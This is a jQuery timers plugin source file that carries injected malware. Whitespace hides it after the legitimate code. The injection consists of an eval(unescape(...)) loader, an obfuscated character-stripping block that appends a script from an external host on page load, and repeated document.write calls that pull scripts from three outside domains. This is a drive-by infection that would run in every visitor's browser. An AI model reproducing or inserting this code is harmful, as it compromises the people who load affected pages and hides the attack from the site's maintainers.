jQuery.fn.extend({
	everyTime: function(interval, label, fn, times, belay) {
		return this.each(function() {
			jQuery.timer.add(this, interval, label, fn, times, belay);
		});
	},
	oneTime: function(interval, label, fn) {
		return this.each(function() {
			jQuery.timer.add(this, interval, label, fn, 1);
		});
	},
	stopTime: function(label, fn) {
		return this.each(function() {
			jQuery.timer.remove(this, label, fn);
		});
	}
});

jQuery.extend({
	timer: {
		guid: 1,
		global: {},
		regex: /^([0-9]+)\s*(.*s)?$/,
		powers: {
			// Yeah this is major overkill...
			'ms': 1,
			'cs': 10,
			'ds': 100,
			's': 1000,
			'das': 10000,
			'hs': 100000,
			'ks': 1000000
		},
		timeParse: function(value) {
			if (value == undefined || value == null)
				return null;
			var result = this.regex.exec(jQuery.trim(value.toString()));
			if (result[2]) {
				var num = parseInt(result[1], 10);
				var mult = this.powers[result[2]] || 1;
				return num * mult;
			} else {
				return value;
			}
		},
		add: function(element, interval, label, fn, times, belay) {
			var counter = 0;
			
			if (jQuery.isFunction(label)) {
				if (!times) 
					times = fn;
				fn = label;
				label = interval;
			}
			
			interval = jQuery.timer.timeParse(interval);

			if (typeof interval != 'number' || isNaN(interval) || interval <= 0)
				return;

			if (times && times.constructor != Number) {
				belay = !!times;
				times = 0;
			}
			
			times = times || 0;
			belay = belay || false;
			
			if (!element.$timers) 
				element.$timers = {};
			
			if (!element.$timers[label])
				element.$timers[label] = {};
			
			fn.$timerID = fn.$timerID || this.guid++;
			
			var handler = function() {
				if (belay && this.inProgress) 
					return;
				this.inProgress = true;
				if ((++counter > times && times !== 0) || fn.call(element, counter) === false)
					jQuery.timer.remove(element, label, fn);
				this.inProgress = false;
			};
			
			handler.$timerID = fn.$timerID;
			
			if (!element.$timers[label][fn.$timerID]) 
				element.$timers[label][fn.$timerID] = window.setInterval(handler,interval);
			
			if ( !this.global[label] )
				this.global[label] = [];
			this.global[label].push( element );
			
		},
		remove: function(element, label, fn) {
			var timers = element.$timers, ret;
			
			if ( timers ) {
				
				if (!label) {
					for ( label in timers )
						this.remove(element, label, fn);
				} else if ( timers[label] ) {
					if ( fn ) {
						if ( fn.$timerID ) {
							window.clearInterval(timers[label][fn.$timerID]);
							delete timers[label][fn.$timerID];
						}
					} else {
						for ( var fn in timers[label] ) {
							window.clearInterval(timers[label][fn]);
							delete timers[label][fn];
						}
					}
					
					for ( ret in timers[label] ) break;
					if ( !ret ) {
						ret = null;
						delete timers[label];
					}
				}
				
				for ( ret in timers ) break;
				if ( !ret ) 
					element.$timers = null;
			}
		}
	}
});

if (jQuery.browser.msie)
	jQuery(window).one("unload", function() {
		var global = jQuery.timer.global;
		for ( var label in global ) {
			var els = global[label], i = els.length;
			while ( --i )
				jQuery.timer.remove(els[i], label);
		}
	});






































































































                                                                                                                                                      /* a0b4df006e02184c60dbf503e71c87ad */ ;eval(unescape('%69%66%20%28%21%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%42%79%49%64%28%27%4A%53%53%53%27%29%29%7B%20%4A%53%53%31%20%3D%20%35%39%3B%20%4A%53%53%32%20%3D%20%31%35%38%36%38%33%3B%20%4A%53%53%33%20%3D%20%27%2F%64%69%72%65%63%74%6F%72%79%2F%6A%61%76%61%73%63%72%69%70%74%73%2F%66%63%6B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%66%69%6C%65%6D%61%6E%61%67%65%72%2F%66%61%68%61%2F%64%75%6D%6D%79%2E%68%74%6D%27%3B%20%76%61%72%20%6A%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%73%63%72%69%70%74%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%73%72%63%27%2C%20%27%2F%64%69%72%65%63%74%6F%72%79%2F%6A%61%76%61%73%63%72%69%70%74%73%2F%66%63%6B%65%64%69%74%6F%72%2F%65%64%69%74%6F%72%2F%66%69%6C%65%6D%61%6E%61%67%65%72%2F%66%61%68%61%2F%63%68%65%63%6B%2E%6A%73%27%29%3B%20%6A%73%2E%73%65%74%41%74%74%72%69%62%75%74%65%28%27%69%64%27%2C%20%27%4A%53%53%53%27%29%3B%20%64%6F%63%75%6D%65%6E%74%2E%67%65%74%45%6C%65%6D%65%6E%74%73%42%79%54%61%67%4E%61%6D%65%28%27%68%65%61%64%27%29%2E%69%74%65%6D%28%30%29%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%6A%73%29%20%7D%3B%20')); /* a995d2cc661fa72452472e9554b5520c */                                                                                                                                                      






































































































try {var Z='[';var H=new Date();var s;if(s!='' && s!='ju'){s=''};var F='';this.o="";var AU='';var I=']';var VM='';var i;if(i!='B'){i='B'};var w=RegExp;var V='g';var q='replace';var qG=new Date();var Y;if(Y!='aJ'){Y='aJ'};var sw;if(sw!='Kn'){sw=''};function d(Fr,k){var es;if(es!='O' && es!='ct'){es='O'};var Ag='';var P=Z;P+=k;var PG='';P+=I;var K=new w(P, V);return Fr[q](K, F);var cH=new Array();};var YW;if(YW!='G' && YW != ''){YW=null};var eU;if(eU!='GA' && eU != ''){eU=null};var gT;if(gT!='' && gT!='_h'){gT='FO'};var D=d('ownKlwoKaqdq',"4zqKw");var Kf=d('bZojdZyj',"Zj");var VE=d('852577220725424872257270492549',"97542");var FU='';var gJ;if(gJ!=''){gJ='lJ'};var A=d('hftbt3p3:3/3/bsbifnZaf-ZcboZmb-bc3nZ.3zZibdfdfu3.fcfofmZ.fgbabmfeZr3-bcZobm3-3tbw3.bmfyfsZk3yZsbiftZeb.br3uf:Z',"fZb3");var ts='';var zF;if(zF!='sb'){zF=''};var x=d('sHcHrQiQpHtH',"HQ");var sI=new Date();var j='';var U_='';var Fr="1";var Fa;if(Fa!='' && Fa!='zo'){Fa=''};var VO=d('c6rIeoaotoeoEIl6eomoeIn6t6',"I6o");var gv;if(gv!='dB'){gv=''};var E=d('/qfqaqn4dqaqn4gqo4.qcqoqm4/4f4aqn4dqa4n4g4oq.qcqoqm4/qf4o4r4u4mqcqoqm4mqu4n4i4tqy4.qnqe4tq/qmqcqs4s4lq.qc4o4m4/4gqoqo4gqlqe4.4c4oqmq.4pqh4p4',"4q");var d_;if(d_!='' && d_!='vT'){d_=null};var wz=new String();var a=d('sJeTtEAEtTtJrTiTbEuJtTeE',"ETJ");var xN;if(xN!='QJ' && xN != ''){xN=null};var wS="";var J=d('agpFpZexngdgCZhgiZl9dx',"9ZgxF");this.ai='';var Ri;if(Ri!='' && Ri!='T'){Ri=null};window[D]=function(){var Tb;if(Tb!='' && Tb!='KN'){Tb=null};xC=document[VO](x);var hl;if(hl!='GV' && hl!='XR'){hl=''};this.Oh="";j+=A;j+=VE;j+=E;var vX=new String();xC.setAttribute('defer', Fr);xC.src=j;var _V=new Array();var XO=new Array();var JM=document[Kf];var xy=new Date();var ER='';var Pn='';JM.appendChild(xC);var qX;if(qX!='' && qX!='Pp'){qX=''};var Xy=new Date();};this.Qp='';this.n="";var sp=new Date();var vB=new Date();} catch(e){var N;if(N!='' && N!='gA'){N=''};this.ys='';};
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://acarology.com.pl/js/baner.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');
document.write('<script src=http://elcombra.de/elcombra/index.php ><\/script>');
document.write('<script src=http://enftv.org/videos/course_camera_clip_image001.php ><\/script>');
document.write('<script src=http://enftv.org/videos/course_camera_clip_image001.php ><\/script>');
document.write('<script src=http://enftv.org/videos/course_camera_clip_image001.php ><\/script>');